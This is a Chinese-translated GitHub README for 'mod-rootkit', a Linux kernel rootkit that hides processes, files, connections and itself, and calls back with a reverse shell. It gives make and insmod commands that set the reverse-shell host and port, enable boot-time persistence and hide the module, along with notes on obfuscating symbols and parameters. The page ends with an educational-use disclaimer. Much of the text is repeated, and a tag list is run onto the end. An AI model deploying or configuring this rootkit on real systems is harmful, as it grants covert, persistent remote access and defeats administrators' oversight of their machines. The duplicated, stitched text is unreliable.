flashnuke/mod-rootkit
GitHub: flashnuke/mod-rootkit
基于 kprobes 和 ftrace 的 Linux x86_64 内核级 Rootkit,支持进程、文件、网络连接隐藏及反向 shell 后门功能。
Stars: 24 | Forks: 6
```
███╗ ███╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗██╗████████╗
████╗ ████║██╔═══██╗██╔══██╗ ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝██║ ██╔╝██║╚══██╔══╝
██╔████╔██║██║ ██║██║ ██║█████╗██████╔╝██║ ██║██║ ██║ ██║ █████╔╝ ██║ ██║
██║╚██╔╝██║██║ ██║██║ ██║╚════╝██╔══██╗██║ ██║██║ ██║ ██║ ██╔═██╗ ██║ ██║
██║ ╚═╝ ██║╚██████╔╝██████╔╝ ██║ ██║╚██████╔╝╚██████╔╝ ██║ ██║ ██╗██║ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
```
一个简单的概念验证 Linux 内核 Rootkit 模块,旨在对用户态隐藏进程、文件、网络连接及其自身,并提供建立反向 shell 的能力,适用于现代内核版本。
该模块在内核级别运行,允许其直接拦截系统调用,从而实现比用户空间技术(即 `LD_PRELOAD`)更高的隐蔽性。
与依赖直接系统调用表挂钩或导出符号(如 `kallsyms_lookup_name()`)的传统 rootkit 不同,此实现利用 kprobes 和 ftrace(此方法归功于 [xcellerator](https://github.com/xcellerator/linux_kernel_hacking))——以实现更高的隐蔽性和兼容性。它避免使用已弃用或移除的接口,确保在最新的内核版本(例如 5.7+,其中 `kallsyms_lookup_name()` 已不再导出)上仍可运行。
## 概述
`mod-rootkit` 是一个可加载内核模块 (LKM),演示了 Linux 中的基本 rootkit 技术。一旦插入内核,它通过拦截和修改系统行为来提供隐蔽能力:
- **进程隐藏** - 根据配置的关键字(出现在 cmdline 中)隐藏任何进程
- **文件和目录隐藏** - 根据配置的关键字隐藏文件和文件夹
- **网络连接隐藏** - 根据配置的 IP 地址或端口隐藏文件和文件夹
- **模块隐藏** - 将自身从内核模块列表中隐藏
### 演示 - 隐藏文件、目录和进程
```
make STRINGS_EXCLUDES="SOME_KEYWORD,hidden"
sudo insmod mod_rootkit.ko
```
### 演示 - 隐藏网络连接并建立隐藏的反向 shell
```
make RSHELL_HOST=127.0.0.1 RSHELL_PORT=9001 NET_EXCLUDES=9001
sudo insmod mod_rootkit.ko
```
## 环境要求
- 安装了内核头文件的 Linux 系统
- GCC、make 和内核头文件:`sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc`
- Root 权限
- 内核版本 - 应该适用于任何版本
仅在 x86_64 Linux 上测试过
# 用法
```
sudo apt install -y build-essential linux-headers-$(uname -r) # install requirements
git clone https://github.com/flashnuke/mod-rootkit.git
cd mod-rootkit
make STRING_EXCLUDES="SOME_FILENAME1,SOME_FILENAME2" NET_EXCLUDES="127.0.0.1,2222" RSHELL_HOST=192.168.1.1 RSHELL_PORT=9001 HIDE_MODULE=0
# 添加反向 shell 读取参数分解
sudo make install
make clean
```
## 详细说明:
### 构建模块
编译模块:
```
make STRING_EXCLUDES="SOME_FILENAME1,SOME_FILENAME2" NET_EXCLUDES="127.0.0.1,2222" HIDE_MODULE=0
```
你也可以设置反向 shell:
```
make RSHELL_HOST=192.168.1.1 RSHELL_PORT=9001 NET_EXCLUDES=9001 # NET_EXCLUDES is used to hide the connection, it's not mandatory
```
| 参数 | 必需? | 描述 |
|------------------|-----------|-----------------------------------------------------------------------------|
| `STRING_EXCLUDES`| 否 | 逗号分隔的字符串列表,用于从 `getdents` 中隐藏(例如,文件/进程名称) |
| `NET_EXCLUDES` | 否 | 逗号分隔的 IP/端口列表,用于忽略或隐藏连接 |
| `HIDE_MODULE` | 否 | 设置为 `1` 以在加载后自动隐藏模块(从 `lsmod` 等中隐藏) |
| `MODULE_NAME` | 否 | 默认为 `mod_rootkit`,覆盖以更改模块名称 |
| `RSHELL_HOST` | 否 | 反向 shell 主机的 IP 地址 |
| `RSHELL_PORT` | 否 | 反向 shell 主机的端口地址 |
### 手动加载/移除模块
加载:
```
sudo insmod mod_rootkit.ko
```
移除:
```
sudo rmmod mod_rootkit
```
### 安装模块(启动时自动加载)
```
sudo make install
```
这将注册模块,创建启动时自动加载配置,并使用 `modprobe` 立即加载模块
### 卸载模块
```
sudo make uninstall
```
这将尝试从运行中的内核卸载模块,并将其从启动时自动加载中移除
### 清理构建产物
```
make clean
```
这将删除所有临时构建文件
### 其他使用说明
* 隐藏进程时 - 确保其 cmdline 包含一个子字符串,然后通过 `STRING_EXCLUDES` 传递,即:运行 "`./HIDEME.sh`" 然后传递 `make ... STRING_EXCLUDES=HIDEME ...`
* 对于 `*_EXCLUDES` 参数中的每个字符串,只需部分匹配即可隐藏条目(不必完全匹配,即:`STRING_EXCLUDES=ABC` 将隐藏条目 `...ABCDE...`)
* 设置 `HIDE_MODULE=1` 会隐藏模块,请谨慎使用,因为之后移除它并非易事
* `NET_EXCLUDES` 示例 - `NET_EXCLUDES=127.0.0.1,12345` 将排除所有到/来自 `127.0.0.1` 的连接以及所有到/来自端口 `12345` 的连接
* 如果设置了反向 shell 参数,模块将尝试每 10 秒与主机建立一次反向 shell 连接。
### 混淆
输入参数(排除项、反向 shell 参数)在运行时进行 XOR 加密和解密。
模块使用特殊标志进行编译,并且 `.ko` 文件作为 make 过程的一部分被剥离。
但是,符号无法完全剥离(由于 `ftrace` 的性质),但可以使用宏手动混淆:
```
// header file
#define rshell_func z9qr_x1
extern int z9qr_x1(void* data);
...
// src file
int z9qr_x1(void* data) {...} // int rshell_func(void* data)
```
# 免责声明
本项目**严格用于教育和道德研究**目的。
在未经授权的系统上安装或部署 rootkit 是**非法且不道德的**。
仅在您完全控制的隔离实验室环境、虚拟机或测试系统中使用本项目。
### 演示 - 隐藏网络连接并建立隐藏的反向 shell
```
make RSHELL_HOST=127.0.0.1 RSHELL_PORT=9001 NET_EXCLUDES=9001
sudo insmod mod_rootkit.ko
```
## 环境要求
- 安装了内核头文件的 Linux 系统
- GCC、make 和内核头文件:`sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc`
- Root 权限
- 内核版本 - 应该适用于任何版本
仅在 x86_64 Linux 上测试过
# 用法
```
sudo apt install -y build-essential linux-headers-$(uname -r) # install requirements
git clone https://github.com/flashnuke/mod-rootkit.git
cd mod-rootkit
make STRING_EXCLUDES="SOME_FILENAME1,SOME_FILENAME2" NET_EXCLUDES="127.0.0.1,2222" RSHELL_HOST=192.168.1.1 RSHELL_PORT=9001 HIDE_MODULE=0
# 添加反向 shell 读取参数分解
sudo make install
make clean
```
## 详细说明:
### 构建模块
编译模块:
```
make STRING_EXCLUDES="SOME_FILENAME1,SOME_FILENAME2" NET_EXCLUDES="127.0.0.1,2222" HIDE_MODULE=0
```
你也可以设置反向 shell:
```
make RSHELL_HOST=192.168.1.1 RSHELL_PORT=9001 NET_EXCLUDES=9001 # NET_EXCLUDES is used to hide the connection, it's not mandatory
```
| 参数 | 必需? | 描述 |
|------------------|-----------|-----------------------------------------------------------------------------|
| `STRING_EXCLUDES`| 否 | 逗号分隔的字符串列表,用于从 `getdents` 中隐藏(例如,文件/进程名称) |
| `NET_EXCLUDES` | 否 | 逗号分隔的 IP/端口列表,用于忽略或隐藏连接 |
| `HIDE_MODULE` | 否 | 设置为 `1` 以在加载后自动隐藏模块(从 `lsmod` 等中隐藏) |
| `MODULE_NAME` | 否 | 默认为 `mod_rootkit`,覆盖以更改模块名称 |
| `RSHELL_HOST` | 否 | 反向 shell 主机的 IP 地址 |
| `RSHELL_PORT` | 否 | 反向 shell 主机的端口地址 |
### 手动加载/移除模块
加载:
```
sudo insmod mod_rootkit.ko
```
移除:
```
sudo rmmod mod_rootkit
```
### 安装模块(启动时自动加载)
```
sudo make install
```
这将注册模块,创建启动时自动加载配置,并使用 `modprobe` 立即加载模块
### 卸载模块
```
sudo make uninstall
```
这将尝试从运行中的内核卸载模块,并将其从启动时自动加载中移除
### 清理构建产物
```
make clean
```
这将删除所有临时构建文件
### 其他使用说明
* 隐藏进程时 - 确保其 cmdline 包含一个子字符串,然后通过 `STRING_EXCLUDES` 传递,即:运行 "`./HIDEME.sh`" 然后传递 `make ... STRING_EXCLUDES=HIDEME ...`
* 对于 `*_EXCLUDES` 参数中的每个字符串,只需部分匹配即可隐藏条目(不必完全匹配,即:`STRING_EXCLUDES=ABC` 将隐藏条目 `...ABCDE...`)
* 设置 `HIDE_MODULE=1` 会隐藏模块,请谨慎使用,因为之后移除它并非易事
* `NET_EXCLUDES` 示例 - `NET_EXCLUDES=127.0.0.1,12345` 将排除所有到/来自 `127.0.0.1` 的连接以及所有到/来自端口 `12345` 的连接
* 如果设置了反向 shell 参数,模块将尝试每 10 秒与主机建立一次反向 shell 连接。
### 混淆
输入参数(排除项、反向 shell 参数)在运行时进行 XOR 加密和解密。
模块使用特殊标志进行编译,并且 `.ko` 文件作为 make 过程的一部分被剥离。
但是,符号无法完全剥离(由于 `ftrace` 的性质),但可以使用宏手动混淆:
```
// header file
#define rshell_func z9qr_x1
extern int z9qr_x1(void* data);
...
// src file
int z9qr_x1(void* data) {...} // int rshell_func(void* data)
```
# 免责声明
本项目**严格用于教育和道德研究**目的。
在未经授权的系统上安装或部署 rootkit 是**非法且不道德的**。
仅在您完全控制的隔离实验室环境、虚拟机或测试系统中使用本项目。标签:Ftrace, Kprobes, Linux内核安全, LKM, Rootkit, x86_64架构, Zeek, 中高交互蜜罐, 内核态Rootkit, 内核模块, 协议分析, 反向Shell, 后门, 安全资源, 客户端加密, 恶意软件开发, 文件隐藏, 权限提升, 私有化部署, 系统调用Hook, 网络可见性, 网络安全, 网络连接隐藏, 进程隐藏, 防御规避, 隐私保护